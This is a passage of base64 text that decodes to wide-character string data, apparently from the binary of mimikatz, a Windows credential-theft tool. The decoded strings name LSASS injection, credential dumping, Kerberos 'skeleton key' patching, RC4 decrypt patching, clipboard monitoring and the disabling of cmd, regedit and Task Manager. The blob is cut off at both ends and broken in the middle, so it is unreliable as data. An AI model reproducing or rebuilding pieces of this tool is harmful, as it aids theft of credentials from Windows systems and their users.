aABhAG4AZwBlAG4AdABsAG0AIAA7ACAAUwBhAG0AQwBvAG4AbgBlAGMAdAA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABBAHIAZwB1AG0AZQBuAHQAIAAvAHUAcwBlAHIAOgAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAAAAAEkATgBUAEUARwBSAEkAVABZAAAAUABSAEkAVgBBAEMAWQAAAFQATwBLAEUATgBfAE8ATgBMAFkAAAAAAEQAQQBUAEEARwBSAEEATQAAAAAAQwBPAE4ATgBFAEMAVABJAE8ATgAAAAAATQBVAEwAVABJAF8AUgBFAFEAVQBJAFIARQBEAAAAAABDAEwASQBFAE4AVABfAE8ATgBMAFkAAABFAFgAVABFAE4ARABFAEQAXwBFAFIAUgBPAFIAAAAAAEkATQBQAEUAUgBTAE8ATgBBAFQASQBPAE4AAABBAEMAQwBFAFAAVABfAFcASQBOADMAMgBfAE4AQQBNAEUAAABTAFQAUgBFAEEATQAAAAAATgBFAEcATwBUAEkAQQBCAEwARQAAAAAARwBTAFMAXwBDAE8ATQBQAEEAVABJAEIATABFAAAAAABMAE8ARwBPAE4AAABBAFMAQwBJAEkAXwBCAFUARgBGAEUAUgBTAAAARgBSAEEARwBNAEUATgBUAAAAAABNAFUAVABVAEEATABfAEEAVQBUAEgAAABEAEUATABFAEcAQQBUAEkATwBOAAAAAABSAEUAQQBEAE8ATgBMAFkAXwBXAEkAVABIAF8AQwBIAEUAQwBLAFMAVQBNAAAAAABSAEUAUwBUAFIASQBDAFQARQBEAF8AVABPAEsARQBOAFMAAABOAEUARwBPAF8ARQBYAFQARQBOAEQARQBSAAAATgBFAEcATwBUAEkAQQBCAEwARQAyAAAAQQBQAFAAQwBPAE4AVABBAEkATgBFAFIAXwBQAEEAUwBTAFQASABSAE8AVQBHAEgAAAAAAEEAUABQAEMATwBOAFQAQQBJAE4ARQBSAF8AQwBIAEUAQwBLAFMAAAAAAAAATgBhAG0AZQAgACAAIAAgACAAIAAgACAAOgAgACUAcwAKAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAgADoAIAAlAHMACgBDAGEAcABhAGIAaQBsAGkAdABpAGUAcwA6ACAAJQAwADgAeAAgACgAIAAAACkACgBNAGEAeABUAG8AawBlAG4AIAAgACAAIAA6ACAAJQB1AAoAUgBQAEMASQBEACAAIAAgACAAIAAgACAAOgAgADAAeAAlADAANAB4ACAAKAAlAGgAdQApAAoAVgBlAHIAcwBpAG8AbgAgACAAIAAgACAAOgAgACUAaAB1AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBwAGEAYwBrAGEAZwBlAHMAIAA7ACAASQBuAGkAdABpAGEAbABpAHoAZQBTAGUAYwB1AHIAaQB0AHkAQwBvAG4AdABlAHgAdAA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcABhAGMAawBhAGcAZQBzACAAOwAgAEEAYwBxAHUAaQByAGUAQwByAGUAZABlAG4AdABpAGEAbABzAEgAYQBuAGQAbABlADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHAAYQBjAGsAYQBnAGUAcwAgADsAIABFAG4AdQBtAGUAcgBhAHQAZQBTAGUAYwB1AHIAaQB0AHkAUABhAGMAawBhAGcAZQBzADoAIAAwAHgAJQAwADgAeAAKAAAAAABjAG0AZAAAAEMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAcgBlAGcAZQBkAGkAdAAAAAAAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAdABhAHMAawBtAGcAcgAAAFQAYQBzAGsAIABNAGEAbgBhAGcAZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgApAAAAAABuAGMAcgBvAHUAdABlAG0AbwBuAAAAAAAAAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABkAGUAdABvAHUAcgBzAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAVAByAHkAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGEAbABsACAAbQBvAGQAdQBsAGUAcwAgAHcAaQB0AGgAIABEAGUAdABvAHUAcgBzAC0AbABpAGsAZQAgAGgAbwBvAGsAcwAAAG0AZQBtAHMAcwBwAAAAAABzAGsAZQBsAGUAdABvAG4AAAAAAGMAbwBtAHAAcgBlAHMAcwBtAGUAAAAAAHcAcAAAAAAAbQBmAGwAdAAAAAAAZQBhAHMAeQBuAHQAbABtAGMAaABhAGwAbAAAAGMAbABpAHAAAAAAAG0AaQBzAGMAAAAAAE0AaQBzAGMAZQBsAGwAYQBuAGUAbwB1AHMAIABtAG8AZAB1AGwAZQAAAAAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEsAaQB3AGkAQQBuAGQAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAARABpAHMAYQBiAGwAZQBSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAAByAGUAZwBlAGQAaQB0AC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFQAYQBzAGsATQBnAHIAAAAAAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgAAAAAAdABhAHMAawBtAGcAcgAuAGUAeABlAAAAZABzAE4AYwBTAGUAcgB2AGkAYwBlAAAACQAoACUAdwBaACkAAAAAAAkAWwAlAHUAXQAgACUAdwBaACAAIQAgAAAAAAAlAC0AMwAyAFMAAAAjACAAJQB1AAAAAAAJACAAJQBwACAALQA+ACAAJQBwAAAAAAAlAHcAWgAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGQAZQB0AG8AdQByAHMAXwBjAGEAbABsAGIAYQBjAGsAXwBwAHIAbwBjAGUAcwBzACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABQAGEAdABjAGgAIABPAEsAIABmAG8AcgAgACcAJQBzACcAIABmAHIAbwBtACAAJwAlAHMAJwAgAHQAbwAgACcAJQBzACcAIABAACAAJQBwAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AZwBlAG4AZQByAGkAYwBfAG4AbwBnAHAAbwBfAHAAYQB0AGMAaAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABtAHMAdgBjAHIAdAAuAGQAbABsAAAAAABmb3BlbgAAAGZ3cHJpbnRmAAAAAGZjbG9zZQAAbABzAGEAcwBzAC4AZQB4AGUAAABtAHMAdgAxAF8AMAAuAGQAbABsAAAAAABJAG4AagBlAGMAdABlAGQAIAA9ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBjAG8AcAB5ACAALQAgAFQAcgBhAG0AcABvAGwAaQBuAGUAIABuADAAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAxACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIAByAGUAYQBsACAAYQBzAG0AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAHMAZQBhAHIAYwBoACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABsAGUAdABhAGUAcwAAAAAAawBkAGMAcwB2AGMALgBkAGwAbAAAAAAAWwBLAEQAQwBdACAAZABhAHQAYQAKAAAAWwBLAEQAQwBdACAAcwB0AHIAdQBjAHQACgAAAFsASwBEAEMAXQAgAGsAZQB5AHMAIABwAGEAdABjAGgAIABPAEsACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAFMAZQBjAG8AbgBkACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABGAGkAcgBzAHQAIABwAGEAdAB0AGUAcgBuACAAbgBvAHQAIABmAG8AdQBuAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAYwByAHkAcAB0AGQAbABsAC4AZABsAGwAAAAAAFsAUgBDADQAXQAgAGYAdQBuAGMAdABpAG8AbgBzAAoAAAAAAFsAUgBDADQAXQAgAGkAbgBpAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAWwBSAEMANABdACAAZABlAGMAcgB5AHAAdAAgAHAAYQB0AGMAaAAgAE8ASwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAcgBlAGEAdABlACAAcgBlAG0AbwB0AGUAIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABVAHMAaQBuAGcAIAAnACUAcwAnACAAYQBzACAAaQBuAHAAdQB0ACAAZgBpAGwAZQAKAAAAIAAqACAATwByAGkAZwBpAG4AYQBsACAAcwBpAHoAZQAgACAAOgAgACUAdQAKAAAAbQBpAG0AaQBrAGEAdAB6AF8AeAA4ADYALgBjAG8AbQBwAHIAZQBzAHMAZQBkAAAAAAAAACAAKgAgAEMAbwBtAHAAcgBlAHMAcwBlAGQAIABzAGkAegBlADoAIAAlAHUAIAAoACUALgAyAGYAJQAlACkACgBVAHMAaQBuAGcAIAAnACUAcwAnACAAYQBzACAAbwB1AHQAcAB1AHQAIABmAGkAbABlAC4ALgAuACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBvAG0AcAByAGUAcwBzAG0AZQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABlAHgAcABsAG8AcgBlAHIALgBlAHgAZQAAAAAAVwBhAGwAbABwAGEAcABlAHIAIABmAGkAbABlADoAIAAlAHMACgAAAFAAcgBvAHgAeQAgAHAAcgBvAGMAZQBzAHMAIAA6ACAAJQB3AFoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AdwBwACAAOwAgAGYAaQBsAGUAIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAPgAgAEYAbwB1AG4AZAAgACUAdwBaACAAdwBpAHQAaAAgAFAASQBEACAAJQB1ACAAOgAgAAAAAAB1AHMAZQByADMAMgAuAGQAbABsAAAAAABTeXN0ZW1QYXJhbWV0ZXJzSW5mb1cAAABlAHIAcgBvAHIAIAAlAHUACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwB3AHAAXwBmAG8AcgBfAHAAaQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AdwBwAF8AZgBvAHIAXwBwAGkAZAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwB3AHAAXwBmAG8AcgBfAHAAaQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBmAGwAdAAgADsAIABGAGkAbAB0AGUAcgBGAGkAbgBkAE4AZQB4AHQAKABkAGEAdABhACkAOgAgADAAeAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZgBsAHQAIAA7ACAARgBpAGwAdABlAHIARgBpAG4AZABOAGUAeAB0ACgAcwBpAHoAZQApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGYAbAB0ACAAOwAgAEYAaQBsAHQAZQByAEYAaQBuAGQARgBpAHIAcwB0ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAJQB1ACAAJQB1ACAAJQAxADAALgAqAHMAIAAlAC4AKgBzAAoAAAAAAC0ALQAtACAATABFAEcAQQBDAFkAIAAtAC0ALQAgACUALgAqAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGUAYQBzAHkAbgB0AGwAbQBjAGgAYQBsAGwAIAA7ACAAVwBpAG4AZABvAHcAcwAgAHYAZQByAHMAaQBvAG4AIABpAHMAIABuAG8AdAAgAHMAdQBwAHAAbwByAHQAZQBkACAAKAB5AGUAdAApAAoAAABtAGkAbQBpAGsAYQB0AHoAXwBXAGkAbgBkAG8AdwBfAE0AZQBzAHMAYQBnAGUAAAAAAAAATQBvAG4AaQB0AG8AcgBpAG4AZwAgAEMAbABpAHAAQgBvAGEAcgBkAC4ALgAuACgAQwBUAFIATAArAEMAIAB0AG8AIABzAHQAbwBwACkACgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGMAbABpAHAAIAA7ACAARwBlAHQATQBlAHMAcwBhAGcAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGMAbABpAHAAIAA7ACAAQwBoAGEAbgBnAGUAQwBsAGkAcABiAG8AYQByAGQAQwBoAGEAaQBuACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBjAGwAaQBwACAAOwAgAEQAZQBzAHQAcgBvAHkAVwBpAG4AZABvAHcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGMAbABpAHAAIAA7ACAAVQBuAHIAZQBnAGkAcwB0AGUAcgBDAGwAYQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBsAGkAcAAgADsAIABSAGUAZwBpAHMAdABlAHIAQwBsAGEAcwBzAEUAeAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABDAGwAaQBwAEQAYQB0AGEAOgAgAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBjAGwAaQBwAF8ATQBhAGkAbgBXAG4AZABQAHIAbwBjACAAOwAgAEcAZQB0AEMAbABpAHAAYgBvAGEAcgBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAGEAbABpAGEAcwAAAHcAcwBlAHMAcwBpAG8AbgAAAAAAdABvAGQAAABzAHQAYQB0AHMAAABzAGgAYQByAGUAAABzAGUAcgB2AGUAcgBpAG4AZgBvAAAAAABuAGUAdAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIABCAHUAaQBsAHQAaQBuACAAKAA/ACkAIAAlADAAOAB4AAoAAAAKAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgADoAIAAlAHcAWgAAAAAACgBEAG8AbQBhAGkAbgAgAFMASQBEACAAIAA6ACAAAAAKACAAJQAtADUAdQAgACUAdwBaAAAAAAAKACAAfAAgACUALQA1AHUAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABHAHIAbwB1AHAAcwBGAG8AcgBVAHMAZQByACAAJQAwADgAeAAAAAAACgAgAHwAYAAlAC0ANQB1ACAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBHAGUAdABBAGwAaQBhAHMATQBlAG0AYgBlAHIAcwBoAGkAcAAgACUAMAA4AHgAAAAAAAoAIAB8ALQAJQAtADUAdQAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAFIAaQBkAFQAbwBTAGkAZAAgACUAMAA4AHgAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBPAHAAZQBuAFUAcwBlAHIAIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUAVQBzAGUAcgBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBMAG8AbwBrAHUAcABEAG8AbQBhAGkAbgBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHUAcwBlAHIAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdQBzAGUAcgAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBHAGUAdABNAGUAbQBiAGUAcgBzAEkAbgBBAGwAaQBhAHMAIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AZwByAG8AdQBwACAAOwAgAFMAYQBtAE8AcABlAG4ARwByAG8AdQBwACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBHAHIAbwB1AHAAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBnAHIAbwB1AHAAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAARABvAG0AYQBpAG4ASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBnAHIAbwB1AHAAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGcAcgBvAHUAcAAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAACgAgAHwAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBHAGUAdABNAGUAbQBiAGUAcgBzAEkAbgBBAGwAaQBhAHMAIAAlADAAOAB4AAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AYQBsAGkAYQBzACAAOwAgAFMAYQBtAE8AcABlAG4AQQBsAGkAYQBzACAAJQAwADgAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBBAGwAaQBhAHMAZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBPAHAAZQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAARABvAG0AYQBpAG4ASQBuAFMAYQBtAFMAZQByAHYAZQByACAAJQAwADgAeAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBhAGwAaQBhAHMAIAA7ACAAUwBhAG0ARQBuAHUAbQBlAHIAYQB0AGUARABvAG0AYQBpAG4AcwBJAG4AUwBhAG0AUwBlAHIAdgBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAGEAbABpAGEAcwAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ACAAJQAwADgAeAAKAAAAJQB3AFoACQAoACUAcwApAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AcwBpAG0AcABsAGUATABvAG8AawB1AHAAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAAAAAAAAAKAEMAbABpAGUAbgB0ACAAIAA6ACAAJQBzAAoAVQBzAGUAcgBuAGEAbQBlADoAIAAlAHMACgBBAGMAdABpAHYAZQAgACAAOgAgACUAdQAKAEkAZABsAGUAIAAgACAAIAA6ACAAJQB1AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHMAZQBzAHMAaQBvAG4AIAA7ACAATgBlAHQAUwBlAHMAcwBpAG8AbgBFAG4AdQBtADoAIAAlADAAOAB4AAoAAAAAAAAAAAAKAFUAcwBlAHIAbgBhAG0AZQAgACAAIAA6ACAAJQBzAAoARABvAG0AYQBpAG4AIAAgACAAIAAgADoAIAAlAHMACgBMAG8AZwBvAG4AUwBlAHIAdgBlAHIAOgAgACUAcwAKAAAATwB0AGgARABvAG0AYQBpAG4AcwAgADoAIAAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHcAcwBlAHMAcwBpAG8AbgAgADsAIABOAGUAdABXAGsAcwB0AGEAVQBzAGUAcgBFAG4AdQBtADoAIAAlADAAOAB4AAoAAABSAGUAbQBvAHQAZQAgAHQAaQBtAGUAIAAoAGwAbwBjAGEAbAApADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG4AZQB0AF8AdABvAGQAIAA7ACAATgBlAHQAUgBlAG0AbwB0AGUAVABPAEQAOgAgACUAMAA4AHgACgAAAAAATABhAG4AbQBhAG4AVwBvAHIAawBzAHQAYQB0AGkAbwBuAAAAAAAAAEwAYQBuAG0AYQBuAFcAbwByAGsAcwB0AGEAdABpAG8AbgAgAFMAdABhAHQAaQBzAHQAaQBjAHMAUwB0AGEAcgB0AFQAaQBtAGUAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBuAGUAdABfAHMAdABhAHQAcwAgADsAIABOAGUAdABTAHQAYQB0AGkAcwB0AGkAYwBzAEcAZQB0ADoAIAAlADAAOAB4AAoAAAAAAGQAaQBzAGsAdAByAGUAZQAgADsAIAAAAHAAcgBpAG4AdABxACAAOwAgAAAAZABlAHYAaQBjAGUAIAA7ACAAAABpAHAAYwAgADsAIAAAAAAAdABlAG0AcABvAHIAYQByAHkAIAA7ACAAAAAAAHMAcABlAGMAaQBhAGwAIAA7ACAAAAAAAHIAZQBzAGUAcgB2AGUAZAAgAGYAbABhAGcAKABzACkAIAA7ACAAAAAKAE4AZQB0AG4AYQBtAGUAIAA6ACAAJQBzAAoAVAB5AHAAZQAgACAAIAAgADoAIAAlADAAOAB4ACAALQAgAAAAVQBzAGUAcwAgACAAIAAgADoAIAAlAHUALwAlAHUACgBQAGEAdABoACAAIAAgACAAOgAgACUAcwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbgBlAHQAXwBzAGgAYQByAGUAIAA7ACAATgBlAHQAUwBoAGEAcgBlAEUAbgB1AG0AOgAgACUAMAA4AHgACgAAAAAAdwBvAHIAawBzAHQAYQB0AGkAbwBuAAAAcwBxAGwAcwBlAHIAdgBlAHIAAABkAG8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AbwBuAG4AZQBjAHQAIAA7ACAAUgBQAEMAIABTAGUAcgB2AGUAcgAgAHUAbgBhAHYAYQBpAGwAYQBiAGwAZQAhAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHIAcABjAF8AYwBvAG4AbgBlAGMAdAAgADsAIABSAFA